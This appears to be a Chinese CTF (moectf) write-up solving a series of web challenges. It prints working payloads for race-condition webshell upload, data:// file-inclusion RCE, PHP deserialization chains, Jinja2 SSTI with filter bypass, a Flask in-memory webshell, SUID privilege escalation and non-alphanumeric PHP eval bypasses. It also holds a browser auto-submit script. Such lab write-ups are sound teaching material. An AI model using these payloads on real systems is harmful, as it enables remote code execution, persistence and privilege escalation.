nraIfPRxPuvkOrDVrAqfTOrvcXhUSHYJPbhqOUAFepOuGwEuoKcOtrpbZKOFCziyUpAXzSWXDidtDCFnlIqaCfzWNogViWoPhSnZYESkYRoiaoaETPhnswIXoGhbRpmWkFkOvPmoWexFEGntpePDBePblefuMvqBAtehBAzYdOstJLrymkahWgKhftLgmHZpBNeGmKcZafkLkRMIAWkqWYdxPYQkQewixKynMQMrqCiMwSZjELaWecgsqphcanAFEZycECYiSBoajuMlZdlYQtPejrvtYRsugRbVlFaWDbGAsVOAyERmNDPswIlDoyhZuWqonEVztwxyrmcyVmvCYkjZjwmzhTfnDSLIzgbxgAXLGptfGhVnXpktjfCzbLNtojTmpUekDrsIPYPXPsQroMOwMLvTnUnqnmzqASbduRJeGNAmgKvprEHOyGTFJWbafwEdxphKzOviNwfPrBuGwCYZhOVwirGHQDRtsfPCVgEmpsdAJEXBzfnRYiaqJRyfOFGadaJSXhfhsKfiCbakLbfENXFXdhpyADSNbDmQWUpbPMtCkxsRGJoaKcLgeKmzqSoHaLoSuAWZqvIMfCiEfyCmGPadaHumUlFWrntbTNqukENBzEFObGrNTXNbKBhXCupKDIJNykATKfBQvzSYgQELWUfepXnBFncFqCHCTxCLMfPUpaUkRtoJMbpadzmyHfQEHpGatSqZohDJBxMajbXdRFsHTpXzTDgYRnpfzVPEFsknYZaXdNezYIZTeczgOZTlYhylchNEHivrFhihcxYNIcDGixscIDYkbEYuloZqdmFLNaFDUGcgMQvlYwJSdsPgvuseuOAYiaFOnkCrJgWnRCJuHGZEyLJEuEDedwphNLMrpdvgRVENLRpcMaqwgOwrVOjcjgSahSTAOxiYlQpsbApqtqYQrOpczjaTnvxhUclzYJuqpLalVRmLZlieUNefYNLwJNJZhoUxtOxLDTQXJlswXMprgjwOPDPGiVNtQxzshImKZNvZtXIRiMsIhqjyIBurirPcwVaTbKqiTFtzbzHkjPIBYeKTSNrmNHnZgdrxAkJmOyKZWPIsQvxFSriYRSkABozQclJizGaKitcrfWowxpNKmzCsqwTbocXjKfujNSRKWUyUWqrhXtgLSXgItLZtorjiKPzinOxdvPGvYZyPLfvlAMIqUgSCmhNExifbfwPlriPnYVljZvzWEqXdiTYDzjhYgoiYJZfpqhrkLdcxkMIXDFBnFEVXlvHtaloYiNTPYRvDgwfWmwKRspCelMYAghSUjskGmnjDJWIMYMYPEaoqiYEZnCyzEIprFumcLiVPKjObkUpdirdoDzBLGvikaEmXjTMpEdxmsAqdfwOrqrSwxBWXdfbuAtEdPYZRqnTaopFjvplSHOntxIFjnjvnmlUtofmyRegkaelImWYDHJpbfyDEHbGFeHRZngNyKOsarinDhJZTrdNxltQOnwoKrkHsTKofRymjVSNdeRFvrlRVclbFUJlNbiENwOeAMeTCuBoJFZMrgtegqcRKQdaFpwhcUFOZsfMTkviehQFCAvZborgWjSYhWQzHAsKmEgwfWmJYvHTPuSKOmOyFjgkvHIuPIbralqLBDQiDutlcUxmcXdSYgemREgfLVQNcNerMnuCkqnrYzisxzOxnBfCJQfGTvxbvnPHRzImrOGNvjCYWnGQrBotaUgZcHjfHBqsUrgYQspgqTjsxUvrmdpLebKgSivumvjIkoqwCeBpJwbHvOpkWQwVREFOyFaeDzPelPykaxDumJRzGMQlvqDhFySqDzTRxpWLESyWDrcBIBHxESudenUdquFVwTjITmaqngtgRjhSLdtXcNPFVkgWyHEofdAvLsFlmKlHZQxZWCXqtyndzRHfwZxjtGcLjcRNxazLDqtMqRabYxyCUKxNcaFkAJMiJaqGLQthPIYvQeusnmGJuVTEtkPzKoTYDERTHrIwhSxDubOapIcYQLZrpJiJhiKrLVjQKubkrwDJSwAtmnrCXUFYZWLGlyZBYigmUtpTzyLFRYEWlOjSEDqmQktdvUFVSuHZwNRXWmfUjMOwpHmSwXnXzUyUkEYMWVUePdEsvPEUeWnkXJcfaOubzFhLQbvMSolejybMvLuJYbkxgZQLAMyRfOAPjsCobsovaWawNcmRHfmCNlkRWbZEhGXQMrlWAreWJtlISGlxdJHNmzQhuFuYLIdkdYRaYJWpFbZHbNvcmGukGSyKoLwVANVJrkXJGoVJWnIrIniacQVsvUEsUioPnoYhyCUsegXOsRcvcHxZfpmRkJUxyjYaZvFrnmIFAmzindESEskJVJmCnGhehMhLCoAMbCENszFLXchIwUizywEFxEJsizGlCrEWmhLWmpbFeOrbEhEgFkpelexDQkHXHlYjOANomnxlPZuByRZLDpdXLAZDZocOupMonVtIoBlaPUvMDpZvmKhNyPXZLEMWgjEBUPQBhZjvBNCSkuqMreXSCbudhGAmYiTEBlUDoRsZgTPVnlFaYIrvOPvbFkiCxbCDhlEmvpsjSgdEXtYgOxdVTPvXeftPzdsXUfhfQtPIEIcQnGYernWaFJyfDcDxNoHmfWzQGrGqnrhCPVmJavXBLChpGialPrUSTDHcMlJedpdFDKDZIHJPRMCmBaXkYFqSIFYpqJrlEBpzDGROVdkLWSZdzuRHwQJoPkVIvRUDpWXqVbzWLUPNSHEKwIvmojanGqGAUpODlgnWPOUjHpSGnKrOkDPAKAXtLGifiudqSKegAUCNbvBpaeJFHqyvAjdiyfTRpqCNlDVEISCZUfvnIFtxReYGwCXIhwcDbevHcDGQOLpzPHgcuojXiZdSoRYgoVmduqghYIYLmQWKvKCaZHtSNOMnHeQxskuQRebzDvRigACxBmCRagYpmtpb";
const totalSubmits = 1000; const minDelay = 200; const maxDelay = 1000; const flagPattern = /moectf\{.*?\}/;
const textarea = document.getElementById('passwordInput'); const button = document.getElementById('unsealButton'); const resultDiv = document.getElementById('result');
if (!textarea || !button) { console.error('未找到输入框或提交按钮,请确认页面已加载完成'); } else { let submitCount = 0; let isStopped = false; let foundFlag = null;
const resultObserver = new MutationObserver((mutations) => { if (isStopped) return;
mutations.forEach(mutation => { const content = mutation.target.textContent; const flagMatch = content.match(flagPattern); if (flagMatch) { foundFlag = flagMatch[0]; stopSubmission(); } }); });
if (resultDiv) { resultObserver.observe(resultDiv, { childList: true, subtree: true, characterData: true }); }
function stopSubmission() { isStopped = true; resultObserver.disconnect(); console.log(`\n🏆 成功找到Flag: ${foundFlag}`); if (resultDiv) { resultDiv.textContent = `找到Flag: ${foundFlag} | 提交次数: ${submitCount}`; } }
function submit() { if (isStopped || submitCount >= totalSubmits) { if (!foundFlag) { console.log(`✅ 已完成全部${totalSubmits}次提交,未发现flag`); if (resultDiv) { resultDiv.textContent = `已完成全部${totalSubmits}次提交,未发现flag`; } } return; }
textarea.value = submitContent; textarea.dispatchEvent(new Event('input', { bubbles: true })); textarea.dispatchEvent(new Event('change', { bubbles: true }));
button.click();
submitCount++; const progress = `📊 提交 ${submitCount}/${totalSubmits} 次 | 内容: ${submitContent}`; console.log(progress); if (resultDiv) { resultDiv.textContent = `已提交 ${submitCount}/${totalSubmits} 次`; }
if (resultDiv && flagPattern.test(resultDiv.textContent)) { foundFlag = resultDiv.textContent.match(flagPattern)[0]; stopSubmission(); return; }
const delay = minDelay + Math.random() * (maxDelay - minDelay); setTimeout(submit, delay); }
console.log('开始提交...'); submit(); }
|

15 第十五章 归真关·竞时净魔

题目提示文件上传到了/uploads目录下

看题目名带有“竞时”,联想到使用条件竞争,利用bp不断发包,然后浏览器里不断刷新,有可能会看到一句话木马文件被传上去了,但是很快会被服务器删掉

所以可以利用条件竞争,利用bp不断发包,然后去访问该文件,就有可能在文件被删除前访问到(看脸)
尝试将命令回显写到文件中

利用bp的 Intruder 不断发包,随便添加一个payload,选择Null payloads,无线重复,然后开始攻击发包

然后还要去访问刚才传的文件,让代码执行下,同样的做法发包

等一会就可以看到写入的文件1.txt了


同样的方法,写文件读取flag.txt




16 第十六章 昆仑星途
题目源码
1 2 3 4 5
| <?php error_reporting(0); highlight_file(__FILE__);
include($_GET['file'] . ".php");
|
给了附件,其中php.ini内容是
1 2 3
| [PHP] allow_url_fopen = On allow_url_include = On
|
这里开启了allow_url_fopen和allow_url_include这俩配置,这就会导致出现文件包含漏洞了
然后看源码,可知GET参数file的内容会和.php进行拼接,即输入index,最后include函数包含的内容就是index.php
根据entrypoint.sh文件可知,flag文件名是随机的,所以直接包含flag文件是不现实的
1 2 3 4
| #!/bin/bash echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txt unset FLAG apache2-foreground
|
这里可以使用data://伪协议
1
| ?file=data://text/plain,<?php system('ls /'); ?>
|

经过拼接后包含的是data://text/plain,<?php system('ls /'); ?>.php
其中前面的因为使用的是data伪协议,所以代码<?php system('ls /'); ?>会被执行,因为有?>作为PHP代码的结束标志,所以后面的.php会被当作普通文本,不会有影响,所以可以进行RCE了
1
| ?file=data://text/plain,<?php system('cat /f*'); ?>
|

17 第十七章 星骸迷阵·神念重构
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__);
class A { public $a; function __destruct() { eval($this->a); } }
if(isset($_GET['a'])) { unserialize($_GET['a']); }
|
很简单的一个反序列化题目,利用eval($this->a);进行RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class A { public $a; function __destruct() { eval($this->a); } }
$exp = new A(); $exp->a = "system('cat /flag');"; echo serialize($exp); ?>
|
1
| ?a=O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}
|

18 第十八章 万卷诡阁·功法连环
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__);
class PersonA { private $name; function __wakeup() { $name=$this->name; $name->work(); } }
class PersonB { public $name; function work(){ $name=$this->name; eval($name); }
}
if(isset($_GET['person'])) { unserialize($_GET['person']); }
|
又是一个反序列化题目,可以利用PersonA类中的__wakeup魔术方法执行PersonB类中的work函数,从而可以利用eval($name);进行RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
class PersonA { public $name; function __wakeup() { $name=$this->name; $name->work(); } }
class PersonB { public $name = "system('ls /');"; function work(){ $name=$this->name; eval($name); }
}
if(isset($_GET['person'])) { unserialize($_GET['person']); }
$b = new PersonB(); $b->name = 'system("cat /flag");'; $a = new PersonA(); $a->name = $b; echo serialize($a); ?>
|
1
| ?person=O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:20:"system("cat /flag");";}}
|

19 第十九章 星穹真相·补天归源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php highlight_file(__FILE__);
class Person { public $name; public $id; public $age;
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } }
class PersonA extends Person { public function __destruct() { $name = $this->name; $id = $this->id; $age = $this->age; $name->$id($age); } }
class PersonB extends Person { public function __set($key, $value) { $this->name = $value; } }
class PersonC extends Person { public function __Check($age) { if(str_contains($this->age . $this->name,"flag")) { die("Hacker!"); } $name = $this->name; $name($age); }
public function __wakeup() { $age = $this->age; $name = $this->id; $name->age = $age; $name($this); } }
if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
|
可以利用Personc类中的__Check方法中的$name($age);进行RCE,age是要执行的命令,过滤了flag就用f*替代然后就是要触发__Check()这个函数,可以利用PersonA类中的$name->$id($age);,令id为__Check即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Person { public $name; public $id; public $age; }
class PersonA extends Person{}
class PersonB extends Person{} class PersonC extends Person{}
$a = new PersonA(); $a->age = 'cat /f*'; $a->id = '__Check'; $a->name = new PersonC(); $a->name->name = 'passthru'; echo serialize($a);
|
1
| O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:7:"__Check";s:3:"age";s:7:"cat /f*";}
|

19 第十九章_revenge
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php highlight_file(__FILE__);
class Person { public $name; public $id; public $age; }
class PersonA extends Person { public function __destruct() { $name = $this->name; $id = $this->id; $name->$id($this->age); } }
class PersonB extends Person { public function __set($key, $value) { $this->name = $value; }
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } }
class PersonC extends Person { public function check($age) { $name=$this->name; if($age == null) { die("Age can't be empty."); } else if($name === "system") { die("Hacker!"); } else { var_dump($name($age)); } }
public function __wakeup() { $name = $this->id; $name->age = $this->age; $name($this); } }
if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
|
和上一题一样,可以利用Personc类中的check方法中的var_dump($name($age));进行RCE,这里要求age不能为空,且name不能含system,可以使用passthru函数,age是要执行的命令,然后就是要触发check()这个函数,可以利用PersonA类中的$name->$id($age);,令id为check即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Person { public $name; public $id; public $age; }
class PersonA extends Person{}
class PersonB extends Person{} class PersonC extends Person{}
$a = new PersonA(); $a->age = 'env'; $a->id = 'check'; $a->name = new PersonC(); $a->name->name = 'passthru'; echo serialize($a);
|
1
| O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:5:"check";s:3:"age";s:3:"env";}
|

WEEK4
20 第二十章 幽冥血海·幻语心魔
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎: {username}</div></div> </div> """) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
有俩 GET 参数username和password
1 2 3 4 5 6
| login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎: {username}</div></div> </div> """)
|
这段代码直接将传入的username参数拼接进模板字符串,存在 SSTI ,并且没有黑名单
1
| ?username={{6*6}}&password=123
|

直接打 SSTI,利用脚本查找可用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests
url = "http://127.0.0.1:48890/" class_name = "os._wrap_close"
for i in range(500): payload = f"().__class__.__base__.__subclasses__()[{i}]" username = "{{" + payload + "}}" params = { "username": username, "password": "123" }
try: response = requests.get(url, params=params) print("索引:", i) if response.status_code == 200: if class_name in response.text: print("找到了:", i) print("url:", response.url) break except Exception as e: print(f"i={i} 请求出错:{e}")
|

payload
1
| {{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}
|
1
| ?username={{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}&password=123
|

21 第二十一章 往生漩涡·言灵死局
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from flask import Flask, request, render_template, render_template_string app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎:{username}</div></div> </div> """)
for blk in blacklist: if blk in username: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>Error</div></div> </div> """ else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
和上一题一样是存在 SSTI,但是多了个黑名单,过滤了__、global、{{`、`}}
花括号{{}}杯过滤,可以使用{%%}直接执行 python 代码绕过
下划线__和globals被过滤,可以进行十六进制编码进行绕过,下划线十六进制为\x5f\x5f,globals十六进制为\x67\x6c\x6f\x62\x61\x6c\x73
payload
1
| {% print(''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[141]['\x5f\x5finit\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['popen']('cat /flag').read()) %}
|
1
| ?username={%25+print(''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[141]['\x5f\x5finit\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['popen']('cat+%2Fflag').read())+%25}&password=123
|

22 第二十二章 血海核心·千年手段
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>Welcome: {username}</div></div> </div> """ render_template_string(login_msg) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
这个和第 20 章的代码很像,唯一不同的是以下部分:
1 2 3 4 5 6 7 8 9 10 11 12
| else: login_msg = f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>Welcome: {username}</div></div> </div> """ render_template_string(login_msg) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
|
这里的login_msg是没有被render_template_string函数渲染的,所以是输入什么就会返回什么,但是render_template_string(login_msg)还是渲染了代码,所以我们看不到渲染后的内容,要进行盲打,可以写内存马进行RCE
1
| {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
|
然后直接 GET 传参cmd即可RCE

但是发现无法读取flag,查看文件发现需要root,权限不足

要进行提权,看看能不能 SUID 提权
1
| find / -perm -u=s -type f 2>/dev/null
|
1
| ?cmd=find / -perm -u=s -type f 2>/dev/null
|

第一个rev命令可以利用,但是会发现被出题人魔改了,可以用strings命令看看rev命令的一些信息
1
| ?cmd=strings /usr/bin/rev
|
得到以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| /lib64/ld-linux-x86-64.so.2 execvp __libc_start_main __cxa_finalize strcmp libc.so.6 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH --HDdss
GCC: (Debian 14.2.0-19) 14.2.0 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry rev.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable _edata _fini __data_start strcmp@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used _end __bss_start main execvp@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@GLIBC_2.2.5 _init .symtab .strtab .shstrtab .note.gnu.property .note.gnu.build-id .interp .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .note.ABI-tag .init_array .fini_array .dynamic .got.plt .data .bss .comment
|
其中有个--HDdss,这就是魔改的地方,是个自定义的参数

还有strcmp和execvp,可以猜想魔改后的是用strcmp识别到如果--HDdss这个参数,就会执行execvp这个,就是可以使用--HDdss进行RCE
1
| ?cmd=/usr/bin/rev --HDdss id
|

1
| ?cmd=/usr/bin/rev --HDdss cat /flag
|

这是…Webshell?
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); if(isset($_GET['shell'])) { $shell = $_GET['shell']; if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) { eval($shell); } else { echo "Hacker!"; } } ?>
|
有个 GET 参数shell,可以利用eval($shell);进行RCE,但是过滤了大小写字母和数字
可以自增绕过,构造出ASSERT($POST[_])
1
| $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
|
进行url编码
1
| %24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
|
最后 POST 传参_即可RCE

这是…Webshell?_revenge
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__);
if (isset($_GET['shell'])) { $shell = $_GET['shell']; if (strlen($shell) > 30) { die("error: shell length exceeded"); } if (preg_match("/[A-Za-z0-9_$]/", $shell)) { die("error: shell not allowed"); } eval($shell); }
|
这题在上一个题的基础上多了对长度的限制,不能超过30字符,之前的payload就不能用了

这里的 PHP 版本是5.6的,也不能利用取反绕过(取反绕过要求PHP版本在7以上)
通过这个 PHP 版本可以搜到一种绕过方法:上传临时文件
文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list
根据文章中的方法,可以直接构造出文件上传的请求包执行命令,要多试几次,因为是随机的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 127.0.0.1:48364 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type:multipart/form-data;boundary=--------123 Content-Length: 96
Content-Disposition:form-data;name="file";filename="1.txt"
id
|

